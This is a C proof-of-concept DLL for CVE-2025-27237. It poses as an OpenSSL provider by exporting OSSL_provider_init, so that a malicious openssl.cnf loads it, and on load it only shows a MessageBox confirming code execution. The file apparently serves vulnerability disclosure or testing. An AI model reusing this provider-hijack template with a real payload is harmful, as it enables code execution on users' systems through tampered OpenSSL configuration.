#include <windows.h>

// This DLL will show a MessageBox when loaded via OpenSSL provider mechanism
// Proof of Concept for CVE-2025-27237

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        MessageBoxA(NULL,
            "CVE-2025-27237 - Code Execution Confirmed!\n\n"
            "This DLL was loaded via malicious openssl.cnf\n"
            "from: C:\\vcpkg\\...\\openssl.cnf\n\n"
            "In a real attack, this would be malware.",
            "VULNERABILITY EXPLOITED",
            MB_OK | MB_ICONWARNING);
    }
    return TRUE;
}

// Fake OpenSSL provider entry point (required for provider loading)
__declspec(dllexport) int OSSL_provider_init(void *handle, void *in, void **out, void **provctx) {
    // Provider init - the DllMain already ran and showed the popup
    return 1;  // Return success
}